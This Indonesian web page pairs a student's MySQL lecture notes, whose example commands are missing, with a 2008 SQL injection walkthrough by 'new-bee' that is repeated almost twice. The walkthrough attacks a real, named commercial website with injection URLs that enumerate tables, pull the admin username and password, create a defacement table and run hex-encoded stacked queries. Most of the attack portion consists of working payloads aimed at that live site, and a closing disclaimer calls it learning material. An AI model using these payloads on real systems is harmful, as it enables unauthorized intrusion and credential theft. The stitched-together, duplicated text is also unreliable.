Untuk menambah kolom pada table yang sudah kita buat, dilakukan dengan perintah pada contoh dibawah ini.
Jika ingin menghapus kolom, menggunakan cara sebagai berikut.
Manipulasi data table
Isi atau data dalam table sering disebut baris, row atau record, untuk melkaukan manipulasi data digunakan SQL yuang berkategori data manipulation language, yang meliputi proses :
Ø Penambahan Data / insert
Ø Penghapusan Data/ delete.
Ø Penggantian Data/ update.
Penambahan data
Untuk menambahkan data atau memasukan data kedalam table kita dilakukan dengan cara insert into.
Keterangan:
Ø Jika yang akan diisi semua kolom, maka nama kolom tidak perlu disebutkan.
Ø Jika nama kolom tidak disebutkan, maka nilai yang dimasukan harus mempenyai urutan yang sama seperti table pada waktu ditampilkan strukturnya dengan perintah DESC.
Contohnya:
Untuk table yang kita buat:
Jika yang diisikan tidak semua kolom, maka nama-nama kolom harus disebutkan. Demikian juga jika akan diisi sengan urutn berbeda maka nama kolom harus disebutkan dengan urutan yang sesuai.
Menampilkan data
Untuk menampilkan hanya data yang kita inginkan adalah dengan cara menggunakan perintah SELECT, dan mengganti tulisan * dengan nama kolom. Contohnya:
Menghapus data
Untuk menghapus data harus menggunakan klausa WHERE, jika tidak maka semua data akan dihapus. Bentuk umum perintah untuk menghapus data adalah sebagai berikut.
Mengganti data
Untuk mengganti data klausa WHERE juga sangat penting, sebab seperti perintah DELETE jika klausa tersebut tidak diberikan, maka semua baris akan mengalami perubahan data. Contohnya:
Hari ini kita belajar mengenai RDBMS Mysql, tapi pada pertemuan tadi yang seharusnya kita ujian, tapi gak tau mengapa sampai dibatalkan. Kita sempat membahas ulang tentang cookie dan session.
Tujuan materi ini agar kita dapat memahami tentang DBMS MySQL, kemidian menggunakan perintah SQL untuk mendefinisikan basis data dan memanipulasi data. Program yang kita gunakan poada hari ini yaitu command prompt, dimana kita membuat folder, table dll melalui command promp.
Database adalah sebuah objek yang kompleks untuk menyimpan informasi yang terstruktur, yang diorganisir dan disimpan dalam suatu cara yang mengijinkan pemakainya untuk mengambil informasi dengan cepat dan efisien. Dengan mesin database, kita bias merancang aturan untuk melindungi database dari tindakan pemakai dan meminta DBMS untuk menerapkan aturan-aturan tersebut.
MySQL adalah multi user database yang menggunakan bahasa structured query language. Dalam operasi client server melibatkan server daemon MySQL, disisi menangani data yang bebagai macam program serta library yang berjalan disisi client. MySQL mampu untuk menangani data yang cukup besar. Perusahaan yang mengembangkan MySQL adalah TeX.
Dalam konteks bahasa SQL, pada umunya informasi tersimpan dalam table-tabel yang secara logic merupakan struktur dua dimensi yang terdiri atas baris-baris data yang berada dalam suatu atau lebih kolom. Baris pada table sering disebut sebagai instance dari data atau record, sedangkan kolom sering disebut sebagai attributes atau field. Keseluruhan itu ditampung dalam suatu wadah yang disebut database.
Structured Query Language
SQL adalah bahasa yang dpergunakan untuk mengakses data dalam basis data relational. Bahasa ini adalah bahasa standar yang digunakan dalam manajemen basis data relatyional. Saat ini hampir semua server basis data yang ada mendukung bahasa ini dalam mamnajemen datanya.
Jenis-jenis perintah SQL antara lain seperti yang terdapat dibawah ini:
Ø QUERY COMMAND à Yaitu perintah SQL yang merupakan satu-satunya cara untuk berkomunikasi denga database server.
Ø Data definition language à Yaitu perintah untuk mendefinisikan data, misalnya : create, alter, drop.
Ø Data control language à untuk mengatur privilege user ( administrasi database ).
Ø Data manipulation language à perintah-perintah yang digunakan untuk menampilkan data dan dapat menyebabkan perubahan data, misalnya : select, insert, update, delete.
Menjalankan MySQL
Untuk menjalankan MySQL, akan kita gunakan cara seperti contoh dibawah ini.
Melihat Daftar Database
Dengan perintah show databases; mysql akan mengirimkan informasi mengenai nama-nama database yang terdapat pada DBMS MySQL Server yang sedang bekerja. Berikut ini contoh perintah untuk menampilkan daftar databases yang ada.
Membuat Database
Untuk membuat databases pada mysql, bias dengan cara menuliskan “create database
Masuk database
Cara untuk memasuki database yang telah kita buat dengan menuliskan : “use
Mengahpus database
Cara menghapus databases daengan cara menuliskan: “ drop database
Tabel
Table adalah tempat untuk menyimpan data 2 dimensi yang terdiri dari kolom dan baris, struktur table berupa kolom-kolom ataui field-field, tipe data dan ukuran mesing-masing kolom. Untuk mmempersiapkan struktur table diperlukan perintah-perintah untuk membuat table, mengubah tipe data, memberikan atribut, dan sebagainya. Cara membuat table dengan menuliskan. “CREATE TABEL
Melihat daftar table
Untuk melihat table yang berada dalam database. Caranya seperti contoh dibawah ini.
Melihat struktur table
Untuk melihat struktur table dapat dilakukan dengan cara berikut.
Cara mengganti nama table, kita gunakan cara seperti contoh di bawah ini.
Menambah kolom.
Untuk menambah kolom pada table yang sudah kita buat, dilakukan dengan perintah pada contoh dibawah ini.
Jika ingin menghapus kolom, menggunakan cara sebagai berikut.
Manipulasi data table
Isi atau data dalam table sering disebut baris, row atau record, untuk melkaukan manipulasi data digunakan SQL yuang berkategori data manipulation language, yang meliputi proses :
Ø Penambahan Data / insert
Ø Penghapusan Data/ delete.
Ø Penggantian Data/ update.
Penambahan data
Untuk menambahkan data atau memasukan data kedalam table kita dilakukan dengan cara insert into.
Keterangan:
Ø Jika yang akan diisi semua kolom, maka nama kolom tidak perlu disebutkan.
Ø Jika nama kolom tidak disebutkan, maka nilai yang dimasukan harus mempenyai urutan yang sama seperti table pada waktu ditampilkan strukturnya dengan perintah DESC.
Contohnya:
Untuk table yang kita buat:
Jika yang diisikan tidak semua kolom, maka nama-nama kolom harus disebutkan. Demikian juga jika akan diisi sengan urutn berbeda maka nama kolom harus disebutkan dengan urutan yang sesuai.
Menampilkan data
Untuk menampilkan hanya data yang kita inginkan adalah dengan cara menggunakan perintah SELECT, dan mengganti tulisan * dengan nama kolom. Contohnya:
Menghapus data
Untuk menghapus data harus menggunakan klausa WHERE, jika tidak maka semua data akan dihapus. Bentuk umum perintah untuk menghapus data adalah sebagai berikut.
Mengganti data
Untuk mengganti data klausa WHERE juga sangat penting, sebab seperti perintah DELETE jika klausa tersebut tidak diberikan, maka semua baris akan mengalami perubahan data. Contohnya:
Explore SQLi untuk mendapatkan struktur table pada ASP – SQL Server
Explore SQLi untuk mendapatkan struktur table pada ASP – SQL Server
Oleh new-bee
Published: Desember 9, 2008
Updated: Desember 9, 2008
Disana sini sudah banyak sekali dibahas bagaimana mendapatkan struktur table dari sebuah web yang dibangun dengan menggunakan PHP dan MySQL. Dan artikel ini saya bahas bagaimana kita bisa mendapatkan informasi table pada web yang dibangun dari ASP dan SQL Server. Dari pengalaman saya selama ini yang bekerja dengan SQL Server, SQL Server mendukung mendukung penggunaan ”MULTI QUERY” yang mana memberikan keleluasaan bagi kita untuk melakukan select,update,delete,bahkan drop table – query yang krusial bisa kita lakukan..
Sebelum saya membahas cara-cara untuk mendapatkan struktur table, alangkah baiknya jiika saya menjelaskan sedikit tentang struktur table di SQL Server…
Dasar Struktur Table SQL.Disini saya akan mengajak sodara sekalian untuk mengeksplorasi sebuah database dengan nama Northwind (database bawaan saat install SQL Server)
Dimanakah SQL Server menyimpan semua informasi tabel database tersebut ? SQL Server menyimpan informasi tabel pada sebuah tabel khusus yang diberinama sysobjects dan syscolumns. Apa itu tabel sysobjects ? tabel sysobjects adalah tabel yang menyimpan seluruh informasi mengenai tabel dan tabel syscolumns adalah tabel yang menyimpan seluruh informasi mengenai column2 pada tabel..
Waah... aku gak ngerti apa tuh isinya, bingung gimana nyarinya...” Tenang disinilah trik tersebut dibutuhkan... Kita buka SQL Query Analizer. Kita jalankan Query berikut
SELECT sysobjects.name FROM sysobjects (NOLOCK)
WHERE sysobjects.type = 'U'
Dan apa yang didapatkan itu merupakan semua tabel yang dibuat oleh user (sysobjects.type = `U`)
Bagaimana kita mengetahui field-field yang ada pada tabel tersebut? Coba kita modifikasi sedikit script tersebut yang nantinya akan menghasilkan informasi tabel
SELECT sysobjects.name AS tablename, syscolumns.name AS columnname
FROM sysobjects (NOLOCK)
INNER JOIN syscolumns (NOLOCK) ON sysobjects.id = syscolumns.id
WHERE sysobjects.type = 'U'
ORDER BY sysobjects.id ASC ,syscolumns.colid ASC
sysobjects.id adalah field yang mengisi id dari tabel dan syscolumns.colid adalah field yang berisi informasi id dari column di tiap tabelnya
Bandingkan dengan screen shoot tabel aslinya dibawah ini. Apakah ada perbedaan? Aku rasa tidak...
Implementasi pada website
Pada bab ini saya akan menjelaskan dengan semampu saya bagaimana kita melakukan explorasi pada sebuah celah website untuk mendapatkan semua sturktur table.Tentunya sudah tidak asing dengan SQL Injection. Disini saya akan implementasikan query diatas untuk mendapatkan struktur table dari sebuah database website.Dan tentunya akan saya berikan sedikit trik-trik kuno.Saya melakukan googling site yang mengunakan ASP dan aku dapatkan 1 website yang bisa di explore. Demikian langkah2 saya melakukan exploring :
1) saya gunakan tanda single quote ( ' ) emang karakter 1 ini bener2 ampuh, dan hasil yang saya dapat adalah pesan error
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=1’5--&t=1
2) gotcha… we have a target now…
pertama saya gunakan query order dulu untuk menemukan banyaknya column yang di panggil yah. Mulai dari ORDER BY 1 sampai ORDER BY n yang menghasilkan error. Dan disini saya mendapatkan error saat Query ORDER BY 20 -- . jadi saya asumsikan ada 19 column yang di select
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 ORDER BY 20 --&t=1
3) Setelah kita melakukan query ORDER, disini kita harus pastikan lagi dengan menggunakan query UNION SELECT. Kira2 querynya adalah begini.
UNION SELECT ‘1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’ - ,’19’
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19';--&t=1
Berharap mendapatkan sesuatu yang berharga, tapi apa yang aku dapatkan adalah error. Mulai memutar otak kembali dan akhirnya melakukan select manual :)
Akhirnya berhasil, Query sukses di execute pada SELECT 9 column
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9';--&t=1
4) LEST GO … cari cari table… :D
untuk mencari tabel kita gunakan query yang sudah saya bahas pada dasar SQL diatas.Sayang sekali di SQL Server tidak ada function yg sejenis dengan group_concat milik MySQL. Jadi disini kita harus melakukan select 1 / 1
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.id,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id ;--&t=1
wohoho langsung ketemu table admin
kalo ingin mengexplorenya tinggal tambahkan pada query
WHERE sysobjects.id > … kira2 SQL nya seperti ini
SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.id > [sysobjects.id yang tampil]
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 453576654 ;--&t=1
hasilnya adalah seperti ini
dari execute query diatas didapatkan table banner dengan id = 1829581556, kita bisa lanjutkan untuk mendapatkan semua tabelnya contoh :
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 1829581556 ;--&t=1
dan kita mendapatkan table selanjutnya…..
5) Kita ambil table admin tadi yah, lalu kita select field2nya. Querynya diubah dong kira2 begini nanti SELECT Querynya
SELECT sysobjects.name, sysobjects.category, syscolumns.name,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name ,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumnssyscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' ;--&t=1 ON
bagaimana kita mendapatkan semua column ? ß good question…
pada table syscolumns disediakan field yang namanya colid (column id) disanalah kita explore
Jadi Querynya kita rubah
SELECT sysobjects.name, sysobjects.category, syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’ AND syscolumns.colid = 1
Kita coba implementasikan wekeke :)
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' AND syscolumns.colid = 2 ;--&t=1
6) Saya rasa cukup exploring nya, dan disini finishing touchnya kita select dari field dan table yang sudah kita dapatkan tadi sodara SQLnya kira kira begini
SELECT vcAdmin, vcPassword, '3','4','5','6','7','8','9' FROM admin
dan hasilnya adalah yeah password dan user untuk login sebagai super admin
7) Ada lagi gak yang lebih asik dari itu ? ß tentu ada dong
1. Create database à bisa
2. Insert à bisa
3. Drop tabel à bisa dong
Contoh yang lebih asik adalah sebagai berikut. Saya akan membuat table dengan nama hacked lalu insert ke table
CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?
yeah monggo silahkan...
dedicate to all indonesian hacker
best regard
new-bee');--
Kita tinggal mengaplikasikan dan mengeksekusinya
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0; CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));-- INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?
yeah monggo silahkan...
dedicate to all indonesian hacker
best regard
new-bee');--&t=1
dan hasilnya bisa dilihat di sini
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT isgoingbad,'2','3','4','5','6','7','8',gottcha FROM hacked;--&t=1
Tips dan Trik
Disini saya akan berbagi sedikit trik, terutama saat kita melakukan select struktur table dan struktur column. Sayang sekali SQL tidak dilengkapi dengan function group_concat seperti pada MySQL, tetapi bukan berarti kita bisa melakukan manipulasi dengan segala cara.. jadi ingat kata2 om S’to di bukunya... banyak jalan menuju roma J
Saya sudah mencoba membuat sebuah query yang kira2 bentuknya akan begini
DECLARE @x varchar(8000)
SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'
SELECT @x
Dan Query diatas berhasil kita bisa membuat function yang mirip dengan group_concat milik MySQL
Lalu bagaimana agar kita bisa melakukan SELECT dengan UNION ? Jawabannya adalah, kenapa kita tidak membuat sebuat table dan memasukan hasil select kedalam tabel dan kita melakukan SELECT dari table yang kita buat. Bingung ? udah langsung aja deh
1. Pertama adalah kita membuat sebuah table, saya rasa semua tahu bagaimana cara membuat. Query untuk membuat table adalah
CREATE TABLE test (fieldtest text);
2. Setelah itu kita modifikasi SQL diatas agar hasil dari query diatas bisa masuk kedalam table yang baru kita buat. Oke kita modifikasi
DECLARE @x varchar(8000)
SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'
INSERT INTO test VALUES (@x)
Lalu kita coba melakukan select pada table test yang sudah kita isi dengan query diatas
SELECT * FROM test
3. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Kita create table terlebih dahulu
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;CREATE TABLE test (fieldtest varchar(8000));--
Tidak ada error terjadi, setelah itu kita execute Query selanjutnya
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @x varchar(8000) SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U' INSERT INTO test VALUES (@x);--
Tidaaaak… terdapat error, dan setelah saya melakukan trial dan error ternyata disebabkan tanda + pada Query tersebut dianggap “ “ (space) oleh browser, sehingga kita tidak bisa melakukan execute terhadap Query diatas L
4. Kita tidak boleh menyerah, banyak jalan menuju roma, dan yang kita lakukan adalah merubah Query diatas menjadi sekumpulan hexadesimal J Query diatas jika di jadikan hexadecimal kira2 akan seperti ini
0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534 345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F62 6A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920
Lalu bagaimana kita membuat execute untuk hexadecimal diatas ? saya sudah membuat Querynya mudah mudahan berhasil
DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45 534345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F6 26A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);--
5. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Karena kita telah membuat table test kita tinggal menjalankan Query untuk mengisi table test
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534345284078 202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F626A6563747320284E4F4C4F4 34B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);--
Dan tidak ada error, hore hore hore…. Akhirnya bisa juga di execute querynya... oops apakah bener Query tersebut sukses di execute ?
6. Sebagai penutup dari trik ini saya akan melakukan SELECT dari table test yang telah kita buat diatas
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT fieldtest,‘2’,'3','4','5','6','7','8','9' FROM test ;--&t=1
Kesimpulan
Bener bener deh, jika kita tidak mudah menyerah dan mau sedikit berimprovisasi kita akan mendapatkan segala sesuatu yang kita inginkan :) Terima Kasih telah meluangkan waktu untuk membaca artikel yang panjang dan cupu ini.. Jika ada kesalahan kata maupun ada teknik yang lebih keren... Mohon artikel ini diperbaiki..... Thanks to semuanya yang sudah membantu baik dukungan moril maupun materiil ... Viva Indonesia...
NB : Artikel ini adalah pembelajaran bukan tutorial untuk melakukan hacking terhadap sebuah situs, kalo ada penyalahgunaan terhadap artikel ini saya (new-bee) tidak bertanggung jawab. Terima kasih.
Oleh new-bee
Published: Desember 9, 2008
Updated: Desember 9, 2008
Disana sini sudah banyak sekali dibahas bagaimana mendapatkan struktur table dari sebuah web yang dibangun dengan menggunakan PHP dan MySQL. Dan artikel ini saya bahas bagaimana kita bisa mendapatkan informasi table pada web yang dibangun dari ASP dan SQL Server. Dari pengalaman saya selama ini yang bekerja dengan SQL Server, SQL Server mendukung mendukung penggunaan ”MULTI QUERY” yang mana memberikan keleluasaan bagi kita untuk melakukan select,update,delete,bahkan drop table – query yang krusial bisa kita lakukan..
Sebelum saya membahas cara-cara untuk mendapatkan struktur table, alangkah baiknya jiika saya menjelaskan sedikit tentang struktur table di SQL Server…
Dasar Struktur Table SQL.Disini saya akan mengajak sodara sekalian untuk mengeksplorasi sebuah database dengan nama Northwind (database bawaan saat install SQL Server)
Dimanakah SQL Server menyimpan semua informasi tabel database tersebut ? SQL Server menyimpan informasi tabel pada sebuah tabel khusus yang diberinama sysobjects dan syscolumns. Apa itu tabel sysobjects ? tabel sysobjects adalah tabel yang menyimpan seluruh informasi mengenai tabel dan tabel syscolumns adalah tabel yang menyimpan seluruh informasi mengenai column2 pada tabel..
Waah... aku gak ngerti apa tuh isinya, bingung gimana nyarinya...” Tenang disinilah trik tersebut dibutuhkan... Kita buka SQL Query Analizer. Kita jalankan Query berikut
SELECT sysobjects.name FROM sysobjects (NOLOCK)
WHERE sysobjects.type = 'U'
Dan apa yang didapatkan itu merupakan semua tabel yang dibuat oleh user (sysobjects.type = `U`)
Bagaimana kita mengetahui field-field yang ada pada tabel tersebut? Coba kita modifikasi sedikit script tersebut yang nantinya akan menghasilkan informasi tabel
SELECT sysobjects.name AS tablename, syscolumns.name AS columnname
FROM sysobjects (NOLOCK)
INNER JOIN syscolumns (NOLOCK) ON sysobjects.id = syscolumns.id
WHERE sysobjects.type = 'U'
ORDER BY sysobjects.id ASC ,syscolumns.colid ASC
sysobjects.id adalah field yang mengisi id dari tabel dan syscolumns.colid adalah field yang berisi informasi id dari column di tiap tabelnya
Bandingkan dengan screen shoot tabel aslinya dibawah ini. Apakah ada perbedaan? Aku rasa tidak...
Implementasi pada website
Pada bab ini saya akan menjelaskan dengan semampu saya bagaimana kita melakukan explorasi pada sebuah celah website untuk mendapatkan semua sturktur table.Tentunya sudah tidak asing dengan SQL Injection. Disini saya akan implementasikan query diatas untuk mendapatkan struktur table dari sebuah database website.Dan tentunya akan saya berikan sedikit trik-trik kuno.Saya melakukan googling site yang mengunakan ASP dan aku dapatkan 1 website yang bisa di explore. Demikian langkah2 saya melakukan exploring :
1) saya gunakan tanda single quote ( ' ) emang karakter 1 ini bener2 ampuh, dan hasil yang saya dapat adalah pesan error
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=1’5--&t=1
2) gotcha… we have a target now…
pertama saya gunakan query order dulu untuk menemukan banyaknya column yang di panggil yah. Mulai dari ORDER BY 1 sampai ORDER BY n yang menghasilkan error. Dan disini saya mendapatkan error saat Query ORDER BY 20 -- . jadi saya asumsikan ada 19 column yang di select
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 ORDER BY 20 --&t=1
3) Setelah kita melakukan query ORDER, disini kita harus pastikan lagi dengan menggunakan query UNION SELECT. Kira2 querynya adalah begini.
UNION SELECT ‘1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’ - ,’19’
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19';--&t=1
Berharap mendapatkan sesuatu yang berharga, tapi apa yang aku dapatkan adalah error. Mulai memutar otak kembali dan akhirnya melakukan select manual :)
Akhirnya berhasil, Query sukses di execute pada SELECT 9 column
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=15 UNION SELECT '1','2','3','4','5','6','7','8','9';--&t=1
4) LEST GO … cari cari table… :D
untuk mencari tabel kita gunakan query yang sudah saya bahas pada dasar SQL diatas.Sayang sekali di SQL Server tidak ada function yg sejenis dengan group_concat milik MySQL. Jadi disini kita harus melakukan select 1 / 1
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.id,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id ;--&t=1
wohoho langsung ketemu table admin
kalo ingin mengexplorenya tinggal tambahkan pada query
WHERE sysobjects.id > … kira2 SQL nya seperti ini
SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.id > [sysobjects.id yang tampil]
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 453576654 ;--&t=1
hasilnya adalah seperti ini
dari execute query diatas didapatkan table banner dengan id = 1829581556, kita bisa lanjutkan untuk mendapatkan semua tabelnya contoh :
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,'3','4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.category > 1829581556 ;--&t=1
dan kita mendapatkan table selanjutnya…..
5) Kita ambil table admin tadi yah, lalu kita select field2nya. Querynya diubah dong kira2 begini nanti SELECT Querynya
SELECT sysobjects.name, sysobjects.category, syscolumns.name,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name ,'4','5','6','7','8','9' FROM sysobjects INNER JOIN syscolumnssyscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' ;--&t=1 ON
bagaimana kita mendapatkan semua column ? ß good question…
pada table syscolumns disediakan field yang namanya colid (column id) disanalah kita explore
Jadi Querynya kita rubah
SELECT sysobjects.name, sysobjects.category, syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = ‘admin’ AND syscolumns.colid = 1
Kita coba implementasikan wekeke :)
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT sysobjects.name, sysobjects.category,syscolumns.name, syscolumns.colid,'5','6','7','8','9' FROM sysobjects INNER JOIN syscolumns ON syscolumns.id = sysobjects.id WHERE sysobjects.name = 'admin' AND syscolumns.colid = 2 ;--&t=1
6) Saya rasa cukup exploring nya, dan disini finishing touchnya kita select dari field dan table yang sudah kita dapatkan tadi sodara SQLnya kira kira begini
SELECT vcAdmin, vcPassword, '3','4','5','6','7','8','9' FROM admin
dan hasilnya adalah yeah password dan user untuk login sebagai super admin
7) Ada lagi gak yang lebih asik dari itu ? ß tentu ada dong
1. Create database à bisa
2. Insert à bisa
3. Drop tabel à bisa dong
Contoh yang lebih asik adalah sebagai berikut. Saya akan membuat table dengan nama hacked lalu insert ke table
CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?
yeah monggo silahkan...
dedicate to all indonesian hacker
best regard
new-bee');--
Kita tinggal mengaplikasikan dan mengeksekusinya
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0; CREATE TABLE hacked (isgoingbad varchar (100) , gottcha varchar (2000));-- INSERT INTO hacked VALUES ('new-bee','new-bee was found a SQL Injection Bugs on this site, but new-bee didn''t want to explore, anybody want to explore it?
yeah monggo silahkan...
dedicate to all indonesian hacker
best regard
new-bee');--&t=1
dan hasilnya bisa dilihat di sini
http://www.dagangasia.com.my/directory/directorydetail.asp?intID=0 UNION SELECT isgoingbad,'2','3','4','5','6','7','8',gottcha FROM hacked;--&t=1
Tips dan Trik
Disini saya akan berbagi sedikit trik, terutama saat kita melakukan select struktur table dan struktur column. Sayang sekali SQL tidak dilengkapi dengan function group_concat seperti pada MySQL, tetapi bukan berarti kita bisa melakukan manipulasi dengan segala cara.. jadi ingat kata2 om S’to di bukunya... banyak jalan menuju roma J
Saya sudah mencoba membuat sebuah query yang kira2 bentuknya akan begini
DECLARE @x varchar(8000)
SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'
SELECT @x
Dan Query diatas berhasil kita bisa membuat function yang mirip dengan group_concat milik MySQL
Lalu bagaimana agar kita bisa melakukan SELECT dengan UNION ? Jawabannya adalah, kenapa kita tidak membuat sebuat table dan memasukan hasil select kedalam tabel dan kita melakukan SELECT dari table yang kita buat. Bingung ? udah langsung aja deh
1. Pertama adalah kita membuat sebuah table, saya rasa semua tahu bagaimana cara membuat. Query untuk membuat table adalah
CREATE TABLE test (fieldtest text);
2. Setelah itu kita modifikasi SQL diatas agar hasil dari query diatas bisa masuk kedalam table yang baru kita buat. Oke kita modifikasi
DECLARE @x varchar(8000)
SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U'
INSERT INTO test VALUES (@x)
Lalu kita coba melakukan select pada table test yang sudah kita isi dengan query diatas
SELECT * FROM test
3. Ternyata Query yang kita modifikasi berjalan dengan Sukses, OK kita langsung saja implementasi ke lapangan dengan harapan SQL tersebut tereksekusi dengan baik.. Kita create table terlebih dahulu
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;CREATE TABLE test (fieldtest varchar(8000));--
Tidak ada error terjadi, setelah itu kita execute Query selanjutnya
http://www.dagangasia.com.my/directory/directoryListing.asp?intID=15;DECLARE @x varchar(8000) SELECT @x = COALESCE(@x + ', ','') + sysobjects.name FROM sysobjects (NOLOCK) WHERE sysobjects.type = 'U' INSERT INTO test VALUES (@x);--
Tidaaaak… terdapat error, dan setelah saya melakukan trial dan error ternyata disebabkan tanda + pada Query tersebut dianggap “ “ (space) oleh browser, sehingga kita tidak bisa melakukan execute terhadap Query diatas L
4. Kita tidak boleh menyerah, banyak jalan menuju roma, dan yang kita lakukan adalah merubah Query diatas menjadi sekumpulan hexadesimal J Query diatas jika di jadikan hexadecimal kira2 akan seperti ini
0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45534 345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F62 6A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920
Lalu bagaimana kita membuat execute untuk hexadecimal diatas ? saya sudah membuat Querynya mudah mudahan berhasil
DECLARE @a varchar(8000) SET @a = CAST(0x4445434C41524520407820766172636861722838303030292053454C454354204078203D20434F414C45 534345284078202B20272C20272C272729202B207379736F626A656374732E6E616D652046524F4D207379736F6 26A6563747320284E4F4C4F434B2920494E5345525420494E544F20746573742056414C554553202840782920 AS VARCHAR (8000)) EXEC (@a);--
